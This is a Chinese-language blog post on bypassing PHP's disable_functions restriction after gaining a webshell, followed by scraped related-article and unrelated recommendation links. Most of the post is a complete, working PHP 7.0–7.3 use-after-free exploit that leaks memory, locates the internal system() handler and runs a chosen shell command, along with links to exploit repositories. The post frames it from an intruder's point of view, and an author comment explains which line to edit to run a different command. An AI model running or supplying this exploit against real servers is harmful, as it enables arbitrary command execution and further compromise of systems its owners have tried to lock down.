disable_functions Bypass
参考文章和poc(文中均有poc下载地址) :
https://www.uedbox.com/post/59295/
https://www.uedbox.com/post/59402/
当然 freebuf 这篇文章写的也很不错,但是偏重于原理,以后一定要再学习 https://www.freebuf.com/articles/web/169156.html
啥是disable_functions Bypass 呢?
对于入侵者来说,拿到一个webshell之后,如果想要进一步获取更高的权限或更多的数据和信息,执行系统命令几乎是必须的。
为了安全,运维人员会禁用PHP的一些“危险”函数,例如:
dl,eval,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link 等
将其写在php.ini配置文件中,就是我们所说的disable functions了。
Bypass disable_functions Shell
Bypass涉及禁用函数列表:
dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
shell绕过已实现的方式:
- 常规绕过: exec、shell_exec、system、passthru、popen、proc_open
- ld_preload绕过: mail、imap_mail、error_log、mb_send_mail
- pcntl_exec
- imap_open
- fastcgi
- com
- apache mod-cgi
目录结构:
- env - docker环境, 用于测试各类绕过exp
- papar - bypass原理
- exp - bypass脚本
仓库:https://github.com/l3m0n/Bypass_Disable_functions_Shell
PHP 7.1-7.3 disable_functions bypass
利用php json序列化漏洞,以绕过disable_functions并执行系统命令。

适用版本
- 7.1 - all versions to date
- 7.2 < 7.2.19 (released: 30 May 2019)
- 7.3 < 7.3.6 (released: 30 May 2019)
仓库:https://github.com/mm0r1/exploits/tree/master/php-json-bypass
这里直接给出全版本poc
<?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1
#直接修改红色字体的代码就好,注意,服务器的环境必须是Linux ,如果是Windows ,则无法运行; uname -a 命令在Linux的意思就是查看系统信息
pwn("uname -a"); function pwn($cmd) {
global $abc, $helper; function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
} function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
} function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
} function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
} function parse_elf($base) {
$e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
} if(!$data_addr || !$text_size || !$data_size)
return false; return [$data_addr, $text_size, $data_size];
} function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue; $leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue; return $data_addr + $i * 8;
}
} function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
} function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
} class ryat {
var $ryat;
var $chtg; function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
} class Helper {
public $a, $b, $c, $d;
} if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
} $n_alloc = 10; # increase this value if you get segfaults $contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles(); $v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0]; $helper = new Helper;
$helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
} # leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8; # fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6); # fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
} if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
} if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
} if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
} # fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
} # pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();
}
支持 PHP7.0~7.3
GitHub地址 :https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
当然,网上还给出了 antword 蚁剑直接绕过的插件,另一篇文章里面有简写,,
disable_functions Bypass的更多相关文章
- PHP 7.0 7.3 (Unix) - 'gc' Disable Functions Bypass
<?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.ph ...
- [转+自]disable_functions之巧用LD_PRELOAD突破
写在前面: 通过知乎的一篇艰难的渗透提权,引发了一些对于disable_funcionts绕过的思考,虽然在暑假日记中记载了四种绕过disable_functions,比如com组件,pcntl_ex ...
- 2020新春公益赛 writeup
简单的招聘系统 无需注册账号,admin'or 1#登陆,到blank page页面,在输入key处发现有注入点: /pages-blank.php?key=1%27+union+select+1%2 ...
- [BUUOJ记录] [GYCTF]EasyThinking
主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirma ...
- GYCTF Web区部分WP
目录: Blacklist Easyphp Ezsqli FlaskApp EasyThinking 前言: 这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题 ...
- pwnkit漏洞分析-CVE-2021-4034
研究了一下前段时间的Polkit提权漏洞,里面有很多以前不知道的技巧.漏洞很好用,通杀CENTOS.UBUNTU各版本. 主要是分析这个POC触发原理.POC如下: /* * Proof of Con ...
- PHP Execute Command Bypass Disable_functions
先简单说一下php调用mail()函数的过程. 看到源码ext/mail.c 236行: char *sendmail_path = INI_STR("sendmail_path" ...
- 蚁剑AntSword插件:Bypass disable_Functions
参考文章: https://www.uedbox.com/post/58634/ 参考视频: https://www.bilibili.com/video/BV1Et411G7D7?from=sear ...
- php safe mode bypass all <转>
PHP safe mode bypass from 4.x to 5.x all. Functions: * mb_send_mail* curl_init* imap_open* mail* ion ...
随机推荐
- MyBatis的一二级缓存
一级缓存 一级缓存默认是开启的,生命周期和SqlSession相同.一个会话中每次执行一个查询操作时,会先查询二级缓存,如果二级缓存没查到或者二级缓存未开启就会从一级缓存中查询,如果一级缓存也未查到就 ...
- MarkDown学习总结-2020.05.11
1.使用工具 1.1Typora 官网地址:https://www.typora.io/ 下载链接 2.基础入门 注意: []中的内容则是对应格式的标记符,默认全部标识符后面需要多加一个空格才能生效. ...
- 【海思】Hi3531A SPI功能的详细配置以及使用
目录 一.前言 二.SPI管脚信息获取 2.1 SPI_SCLK.SPI_SDI.SPI_SDO管脚复用寄存器 2.2 片选SPI_CSN0-SPI_CSN3管脚寄存器 三.配置和使能与SPI相关的管 ...
- 程序员说:为什么喜欢大量使用 if……else if替代switch?
请用5秒钟的时间查看下面的代码是否存在bug. OK,熟练的程序猿应该已经发现Bug所在了,在第13行下面我没有添加关键字break; 这就导致这段代码的行为逻辑与我的设计初衷不符了. 缺点一. 语法 ...
- 区块链V1版本实现之一
1. 程序地址:https://gitee.com/Jame_sz/beijing_go_term2.git 2. 程序编写流程: //1. 定义结构(区块头的字段比正常的少) //>1. 前区 ...
- 手撕HashMap
前言: 平时工作的时候,用的最多的就是ArrayList和HashMap了,今天看了遍HashMap的源码,决定自己手写一遍HashMap. 一.创建MyHashMap接口 我们首先创建一 ...
- 【刷题笔记】DP优化-斜率优化
斜率优化,是一种利用斜率的优化(废话) 关于数论:咕咕咕 部分内容参考自学长 如果有这样的一个状态转移方程: \[f[i]=\min\limits_{j=L_j}^{R_j}\{f[j]+val(j, ...
- rest-framework 分页器
一 简单分页(查看第n页,每页显示n条) from rest_framework.pagination import PageNumberPagination # 一 基本使用:url=url=htt ...
- NDK&JNI开发总结
NDK&JNI开发总结 简介 附个不错的博客 https://www.jianshu.com/p/87ce6f565d37 在Android Framework中,需要提供一种媒介或 桥梁,将 ...
- day8(使用celery异步发送短信)
1.1在celery_task/mian.py中添加发送短信函数 # celery项目中的所有导包地址, 都是以CELERY_BASE_DIR为基准设定. # 执行celery命令时, 也需要进入CE ...